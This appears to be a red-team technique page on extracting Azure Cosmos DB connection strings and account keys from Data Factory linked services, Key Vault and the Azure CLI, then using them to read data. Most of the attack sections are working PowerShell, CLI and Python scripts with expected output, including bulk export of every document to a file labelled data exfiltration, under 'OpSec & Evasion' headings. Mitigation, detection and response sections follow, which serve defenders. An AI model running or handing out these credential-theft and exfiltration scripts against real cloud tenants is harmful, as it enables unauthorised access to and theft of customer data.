| Attribute | Details |
|---|---|
| Technique ID | LM-AUTH-036 |
| MITRE ATT&CK v18.1 | T1550 - Use Alternate Authentication Material |
| Tactic | Lateral Movement |
| Platforms | Entra ID, Azure CosmosDB, Multi-Tenant Azure |
| Severity | Critical |
| Technique Status | ACTIVE |
| Last Verified | 2025-01-10 |
| Affected Versions | Azure CosmosDB (All API types: SQL, MongoDB, Cassandra, Gremlin, Table), All account types |
| Patched In | N/A - Architectural limitation; mitigation through Managed Identity recommended |
| Author | SERVTEP – Artur Pchelnikau |
Concept: Azure Cosmos DB stores account access keys and connection strings in plaintext or weakly encrypted form within linked services, configuration files, and application settings. When these connection strings are embedded in Azure Data Factory linked services, Azure Functions, or application configuration, attackers who compromise the embedding service can extract the connection string and directly authenticate to the Cosmos DB account without going through the original service. The connection string grants full database access (read, write, delete) depending on the key permissions, enabling complete data compromise.
Attack Surface: Cosmos DB connection strings in ADF linked services, Application Insights connection strings, Azure App Configuration stores, Key Vault references (if not properly secured), environment variables in Azure Functions or Logic Apps, embedded in application source code or configuration files.
Business Impact: Complete Cosmos DB account compromise. An attacker with the connection string can read all documents in all databases, modify or delete data, create new collections/databases, and maintain persistent access indefinitely. For multi-tenant SaaS applications using shared Cosmos DB accounts, a single leaked connection string can compromise all customer data.
Technical Context: Connection string extraction typically takes 5-20 minutes once access to the embedding service is gained. Detection likelihood is Medium due to lack of specialized Cosmos DB query logging (unless configured), though unusual bulk operations may trigger alerts. The primary detection challenge is that legitimate application access to Cosmos DB is often high-volume, making malicious queries blend in with normal activity.
| Framework | Control / ID | Description |
|---|---|---|
| CIS Benchmark | 5.1.2 | Ensure database access uses Managed Identity, not account keys |
| DISA STIG | IA-5(f) | Database authentication secrets must be protected; stored in Key Vault not hardcoded |
| CISA SCuBA | STO.1.2 | Storage account access: No shared keys; use Azure RBAC or SAS with minimal permissions |
| NIST 800-53 | AC-3, SC-7 | Access Control Enforcement; Logical and Cryptographic Boundaries |
| GDPR | Art. 32, Art. 5(1)(f) | Security of Processing; data minimization applied to database access patterns |
| DORA | Art. 10 | Authentication and Access Control for critical financial data systems |
| NIS2 | Art. 21(1)(a) | Cybersecurity Risk Management; access control to critical infrastructure |
| ISO 27001 | A.9.2.3, A.14.2.1 | Privileged Access Management; secure development of applications |
| ISO 27005 | Section 8 | Risk Assessment: Database credential compromise is high-probability risk |
Required Privileges:
Microsoft.DocumentDB/databaseAccounts/listKeys/action or Microsoft.DocumentDB/databaseAccounts/listConnectionStrings/actionRequired Access:
Supported Versions:
Tools Required:
# Step 1: Enumerate all Cosmos DB accounts in current subscription
$subscriptions = Get-AzSubscription
foreach ($sub in $subscriptions) {
Select-AzSubscription -Subscription $sub.SubscriptionId | Out-Null
Write-Host "=== Subscription: $($sub.Name) ===" -ForegroundColor Green
# List all Cosmos DB accounts
$cosmosAccounts = Get-AzCosmosDBAccount
foreach ($account in $cosmosAccounts) {
Write-Host "Cosmos DB Account: $($account.Name)" -ForegroundColor Yellow
Write-Host " Resource Group: $($account.ResourceGroupName)"
Write-Host " API Kind: $($account.Kind)"
Write-Host " Endpoint: $($account.DocumentEndpoint)"
Write-Host " Default Consistency: $($account.ConsistencyPolicy.DefaultConsistencyLevel)"
}
}
# Step 2: Check if user has permission to list connection strings
# (This determines if attacker can extract keys directly)
$account = Get-AzCosmosDBAccount -Name "your-cosmos-account" -ResourceGroupName "your-rg"
$accountResourceId = $account.Id
# Test if we have permission to list keys
try {
$keys = Get-AzCosmosDBAccountKey -Name "your-cosmos-account" -ResourceGroupName "your-rg"
Write-Host "✓ SUCCESSFUL: Can list Cosmos DB account keys" -ForegroundColor Green
Write-Host " Primary Key: $($keys.PrimaryMasterKey.Substring(0, 20))..."
Write-Host " Primary Connection String: $($keys.PrimaryConnectionString.Substring(0, 50))..."
} catch {
Write-Host "✗ DENIED: Cannot list Cosmos DB account keys" -ForegroundColor Red
}
# Step 3: Enumerate all databases and collections
Write-Host "`nEnumerating Databases:" -ForegroundColor Cyan
try {
$databases = Get-AzCosmosDBSqlDatabase -ResourceGroupName "your-rg" -AccountName "your-cosmos-account"
foreach ($db in $databases) {
Write-Host " Database: $($db.Name)"
# Enumerate containers/collections
$containers = Get-AzCosmosDBSqlContainer -ResourceGroupName "your-rg" `
-AccountName "your-cosmos-account" `
-DatabaseName $db.Name
foreach ($container in $containers) {
Write-Host " Container: $($container.Name) (Partition Key: $($container.PartitionKeyPath))"
}
}
} catch {
Write-Host " Error enumerating databases: $_"
}
What to Look For:
# List all Cosmos DB accounts
az cosmosdb list --output table
# Get connection string for account (if permissions allow)
az cosmosdb keys list \
--name <account-name> \
--resource-group <rg-name> \
--type connection-strings
# Example output:
# [
# {
# "connectionString": "AccountEndpoint=https://myaccount.documents.azure.com:443/;AccountKey=abcdef1234567890...==;",
# "description": "Primary SQL Connection String"
# }
# ]
# Enumerate databases
az cosmosdb sql database list \
--account-name <account-name> \
--resource-group <rg-name>
# Enumerate containers
az cosmosdb sql container list \
--database-name <database-name> \
--account-name <account-name> \
--resource-group <rg-name>
Supported Versions: Azure Data Factory v1/v2 (all versions), Azure Synapse Analytics
Prerequisites:
Objective: Identify which linked services reference Cosmos DB accounts.
Command (PowerShell):
# Get all linked services in the data factory
$adfName = "your-adf-name"
$resourceGroupName = "your-rg"
$linkedServices = Get-AzDataFactoryV2LinkedService -ResourceGroupName $resourceGroupName -DataFactoryName $adfName
Write-Host "Linked Services in ADF:" -ForegroundColor Cyan
foreach ($service in $linkedServices) {
Write-Host " - $($service.Name) (Type: $($service.Properties.type))"
# Check if this is a CosmosDB linked service
if ($service.Properties.type -eq "CosmosDb") {
Write-Host " >> COSMOS DB LINKED SERVICE FOUND <<" -ForegroundColor Yellow
}
}
Expected Output:
Linked Services in ADF:
- SQL_Production_DB (Type: AzureSqlDatabase)
- CosmosDB_Analytics (Type: CosmosDb)
>> COSMOS DB LINKED SERVICE FOUND <<
- StorageAccount_DataLake (Type: AzureBlobStorage)
What This Means:
Objective: Retrieve the plaintext connection string from the linked service definition.
Command (PowerShell):
# Get detailed linked service properties
$linkedService = Get-AzDataFactoryV2LinkedService -ResourceGroupName $resourceGroupName `
-DataFactoryName $adfName `
-Name "CosmosDB_Analytics"
# Extract connection string from properties
$properties = $linkedService.Properties
$connectionString = $properties.typeProperties.connectionString
Write-Host "Extracted Connection String:"
Write-Host $connectionString
# Parse connection string for key information
if ($connectionString -match "AccountEndpoint=([^;]+);AccountKey=([^;]+);") {
$endpoint = $matches[1]
$accountKey = $matches[2]
Write-Host "Endpoint: $endpoint"
Write-Host "Account Key: $accountKey"
}
Expected Output:
Extracted Connection String:
AccountEndpoint=https://mycosmosdb.documents.azure.com:443/;AccountKey=Eby8v...abc==;
Endpoint: https://mycosmosdb.documents.azure.com:443/
Account Key: Eby8v...abc==
What This Means:
OpSec & Evasion:
Objective: Connect to Cosmos DB using the stolen connection string and access data.
Command (Python using Cosmos SDK):
from azure.cosmos import CosmosClient, PartitionKey
# Stolen connection string from ADF
connection_string = "AccountEndpoint=https://mycosmosdb.documents.azure.com:443/;AccountKey=Eby8v...abc==;"
# Create Cosmos DB client
client = CosmosClient.from_connection_string(connection_string)
# Step 1: List all databases
print("=== Databases ===")
databases = client.list_databases()
for db in databases:
print(f"Database: {db['id']}")
# Step 2: List containers in a database
print("\n=== Containers ===")
database = client.get_database_client("SampleDB")
containers = database.list_containers()
for container in containers:
print(f" Container: {container['id']}")
# Step 3: Query documents in a container
print("\n=== Documents ===")
container = database.get_container_client("Customers")
query = "SELECT * FROM c WHERE c.type = 'customer' LIMIT 10"
items = list(container.query_items(
query=query,
enable_cross_partition_query=True
))
print(f"Found {len(items)} documents:")
for item in items:
print(f" - {item}")
# Step 4: Export all data (data exfiltration)
print("\n=== Data Exfiltration ===")
all_items = list(container.query_items(query="SELECT * FROM c"))
print(f"Total items in container: {len(all_items)}")
# Save to CSV for exfiltration
import csv
with open('/tmp/cosmos_export.csv', 'w', newline='') as f:
if all_items:
writer = csv.DictWriter(f, fieldnames=all_items[0].keys())
writer.writeheader()
writer.writerows(all_items)
print(f"Exported to /tmp/cosmos_export.csv ({len(all_items)} rows)")
Expected Output:
=== Databases ===
Database: SampleDB
Database: AnalyticsDB
=== Containers ===
Container: Customers
Container: Orders
Container: Products
=== Documents ===
Found 10 documents:
- {'id': 'cust_001', 'name': 'John Doe', 'email': 'john@contoso.com', ...}
- {'id': 'cust_002', 'name': 'Jane Smith', 'email': 'jane@contoso.com', ...}
=== Data Exfiltration ===
Total items in container: 50000
Exported to /tmp/cosmos_export.csv (50000 rows)
What This Means:
OpSec & Evasion:
SELECT TOP 1000 * FROM ccontinuation_token to resume interrupted queriesTroubleshooting:
References & Proofs:
Supported Versions: Azure Key Vault (all versions), any Azure service referencing Key Vault secrets
Prerequisites:
Secrets User or Secrets Officer roleObjective: List all secrets in Key Vault to find Cosmos DB connection strings.
Command (PowerShell):
# Get all Key Vaults
$keyVaults = Get-AzKeyVault
Write-Host "Key Vaults found:"
foreach ($kv in $keyVaults) {
Write-Host " - $($kv.VaultName) (RG: $($kv.ResourceGroupName))"
}
# List secrets in a specific Key Vault
$vaultName = "your-key-vault"
$secrets = Get-AzKeyVaultSecret -VaultName $vaultName
Write-Host "`nSecrets in $vaultName:" -ForegroundColor Cyan
foreach ($secret in $secrets) {
Write-Host " - $($secret.Name) (Updated: $($secret.Updated))"
# Check if this might be a Cosmos DB connection string
if ($secret.Name -like "*cosmos*" -or $secret.Name -like "*documentdb*" -or $secret.Name -like "*connection*") {
Write-Host " >> POTENTIAL COSMOS DB SECRET <<" -ForegroundColor Yellow
}
}
Expected Output:
Key Vaults found:
- app-secrets-vault (RG: app-rg)
- cosmos-credentials-vault (RG: data-rg)
Secrets in cosmos-credentials-vault:
- cosmos-connection-string (Updated: 2025-01-05)
>> POTENTIAL COSMOS DB SECRET <<
- cosmos-primary-key (Updated: 2025-01-05)
- cosmos-read-only-key (Updated: 2024-12-20)
What This Means:
Objective: Get the actual secret value (connection string) from Key Vault.
Command (PowerShell):
# Get the secret value
$secret = Get-AzKeyVaultSecret -VaultName $vaultName -Name "cosmos-connection-string"
$connectionString = $secret.SecretValue | ConvertFrom-SecureString -AsPlainText
Write-Host "Cosmos DB Connection String:"
Write-Host $connectionString
Expected Output:
Cosmos DB Connection String:
AccountEndpoint=https://mycosmosdb.documents.azure.com:443/;AccountKey=Eby8v...abc==;
What This Means:
OpSec & Evasion:
References & Proofs:
Supported Versions: Azure Cosmos DB (all versions), Azure CLI 2.0+
Prerequisites:
Microsoft.DocumentDB/databaseAccounts/listKeys/actionObjective: Enumerate available Cosmos DB accounts in accessible subscriptions.
Command (Bash):
# List all subscriptions accessible
az account list --output table
# For each subscription, list Cosmos DB accounts
SUBSCRIPTION_ID="your-subscription-id"
az account set --subscription "$SUBSCRIPTION_ID"
# List all Cosmos DB accounts
az cosmosdb list --output table --query "[].{Name:name, ResourceGroup:resourceGroup, Endpoint:documentEndpoint}"
Expected Output:
Name ResourceGroup Endpoint
mycosmosdb prod-rg https://mycosmosdb.documents.azure.com:443/
analyticsdb analytics-rg https://analyticsdb.documents.azure.com:443/
What This Means:
Objective: Retrieve primary and secondary account keys.
Command (Bash):
# Get account keys
az cosmosdb keys list \
--name mycosmosdb \
--resource-group prod-rg \
--type keys
# Expected output:
# {
# "primaryMasterKey": "Eby8v...abc==",
# "primaryReadonlyMasterKey": "l0CpY...xyz==",
# "secondaryMasterKey": "yqGp9...def==",
# "secondaryReadonlyMasterKey": "KnQL1...ghi=="
# }
# Get connection strings
az cosmosdb keys list \
--name mycosmosdb \
--resource-group prod-rg \
--type connection-strings
# Save to file for later use
az cosmosdb keys list \
--name mycosmosdb \
--resource-group prod-rg \
--type connection-strings \
> cosmos_credentials.json
Expected Output:
{
"primaryMasterKey": "Eby8v...abc==",
"primaryReadonlyMasterKey": "l0CpY...xyz==",
...
}
What This Means:
OpSec & Evasion:
Objective: Connect using extracted keys and access data.
Command (Python):
from azure.cosmos import CosmosClient
# Use extracted primary key to create connection string
account_name = "mycosmosdb"
primary_key = "Eby8v...abc=="
connection_string = f"AccountEndpoint=https://{account_name}.documents.azure.com:443/;AccountKey={primary_key};"
# Create client and access data
client = CosmosClient.from_connection_string(connection_string)
# (Same query operations as METHOD 1, Step 3)
database = client.get_database_client("SampleDB")
container = database.get_container_client("Customers")
items = list(container.query_items("SELECT * FROM c"))
print(f"Extracted {len(items)} documents from CosmosDB")
References & Proofs:
1. Replace Account Keys with Managed Identity and Azure RBAC
Applies To Versions: Azure Cosmos DB (all API types, all versions)
Manual Steps (Azure Portal):
Cosmos DB Built-in Data Contributor (for read/write)Manual Steps (PowerShell):
# Create managed identity for app
$appName = "my-app"
$resourceGroupName = "your-rg"
# Assign system-managed identity to App Service
Update-AzAppServicePlan -ResourceGroupName $resourceGroupName `
-Name $appName `
-Identity @{type='SystemAssigned'} -ErrorAction SilentlyContinue
# Get managed identity object ID
$app = Get-AzWebApp -Name $appName -ResourceGroupName $resourceGroupName
$managedIdentityObjectId = $app.Identity.PrincipalId
# Grant Cosmos DB access to managed identity
$cosmosResourceId = "/subscriptions/{subId}/resourceGroups/$resourceGroupName/providers/Microsoft.DocumentDB/databaseAccounts/{accountName}"
New-AzRoleAssignment -ObjectId $managedIdentityObjectId `
-RoleDefinitionName "Cosmos DB Built-in Data Contributor" `
-Scope $cosmosResourceId
Validation Command:
# Verify Cosmos DB allows Managed Identity
$account = Get-AzCosmosDBAccount -Name "your-cosmos-account" -ResourceGroupName "your-rg"
$account.Identity
# Verify role assignments
$cosmosResourceId = "/subscriptions/$(Get-AzContext).Subscription.Id/resourceGroups/your-rg/providers/Microsoft.DocumentDB/databaseAccounts/your-cosmos-account"
Get-AzRoleAssignment -Scope $cosmosResourceId | Where-Object {$_.ObjectType -eq "ServicePrincipal"}
2. Disable Account Key Authentication and Enforce RBAC-Only Access
Applies To Versions: Azure Cosmos DB SQL API, MongoDB API, Cassandra API
Manual Steps (Azure Portal):
Manual Steps (PowerShell):
# Update Cosmos DB to disable key-based auth
$account = Get-AzCosmosDBAccount -Name "your-cosmos-account" -ResourceGroupName "your-rg"
Update-AzCosmosDBAccount -Name "your-cosmos-account" -ResourceGroupName "your-rg" `
-DisableKeyBasedMetadataWriteAccess $true
# Verify that account keys are now disabled
$keys = Get-AzCosmosDBAccountKey -Name "your-cosmos-account" -ResourceGroupName "your-rg" -ErrorAction SilentlyContinue
if ($null -eq $keys) {
Write-Host "✓ Account keys have been successfully disabled" -ForegroundColor Green
}
3. Rotate Account Keys if Compromise is Suspected
Applies To Versions: Azure Cosmos DB (all versions)
Manual Steps (Azure Portal):
Manual Steps (PowerShell):
# Regenerate primary key
New-AzCosmosDBAccountKey -Name "your-cosmos-account" -ResourceGroupName "your-rg" -KeyKind "primary"
# Regenerate secondary key
New-AzCosmosDBAccountKey -Name "your-cosmos-account" -ResourceGroupName "your-rg" -KeyKind "secondary"
# Verify new keys
$keys = Get-AzCosmosDBAccountKey -Name "your-cosmos-account" -ResourceGroupName "your-rg"
Write-Host "New Primary Key: $($keys.PrimaryMasterKey.Substring(0, 20))..."
4. Enable Cosmos DB Audit Logging
Applies To Versions: Azure Cosmos DB (all API types)
Manual Steps (Azure Portal):
cosmos-audit-logsDataPlaneRequests (all Cosmos API operations)MongoDBRequests (if using MongoDB API)CassandraRequests (if using Cassandra API)5. Restrict Network Access to Cosmos DB Account
Applies To Versions: Azure Cosmos DB (all versions)
Manual Steps (Azure Portal):
6. Implement Azure Key Vault References with Auto-Rotation
Applies To Versions: Azure Key Vault (all versions), Cosmos DB (all versions)
Manual Steps (Azure Portal):
Cosmos DB Activity:
Azure Activity Logs:
CosmosDBListKeys or CosmosDBListConnectionStrings API callsNetwork/Log Analytics:
Cosmos DB Audit Logs:
Azure Activity Log:
Key Vault Audit:
1. Immediately Disable Compromised Keys:
# Option 1: Regenerate keys (invalidates old keys)
New-AzCosmosDBAccountKey -Name "your-cosmos-account" -ResourceGroupName "your-rg" -KeyKind "primary"
New-AzCosmosDBAccountKey -Name "your-cosmos-account" -ResourceGroupName "your-rg" -KeyKind "secondary"
# Option 2: Enable RBAC-only mode (disables all key-based access)
Update-AzCosmosDBAccount -Name "your-cosmos-account" -ResourceGroupName "your-rg" `
-DisableKeyBasedMetadataWriteAccess $true
2. Analyze Unauthorized Access:
# Query audit logs for suspicious activity
$workspaceId = "your-log-analytics-workspace-id"
$query = @"
CosmosDiagnosticLog
| where TimeGenerated > ago(7d)
| where RequestResourceId contains "your-cosmos-account"
| where ResponseStatus != "200"
| summarize count() by ClientIpAddress, OperationName
"@
# Execute KQL query in Log Analytics
3. Revoke All Suspicious Roles:
# Remove unexpected RBAC assignments
$cosmosResourceId = "/subscriptions/{subId}/resourceGroups/{rg}/providers/Microsoft.DocumentDB/databaseAccounts/{accountName}"
$assignments = Get-AzRoleAssignment -Scope $cosmosResourceId
foreach ($assignment in $assignments) {
if ($assignment.ObjectId -eq "suspicious-principal-id") {
Remove-AzRoleAssignment -ObjectId $assignment.ObjectId `
-RoleDefinitionName $assignment.RoleDefinitionName `
-Scope $cosmosResourceId
}
}
| Step | Phase | Technique | Description |
|---|---|---|---|
| 1 | Initial Access | [IA-PHISH-001] OAuth Consent Grant | Attacker tricks user into granting app permissions |
| 2 | Privilege Escalation | [PE-ENTRA-005] App Registration Abuse | Attacker gains ADF contributor permissions |
| 3 | Lateral Movement (Current) | [LM-AUTH-036] | CosmosDB connection string extraction from ADF linked services |
| 4 | Impact | [IMPACT-001] Data Exfiltration | Attacker exports all Cosmos DB data |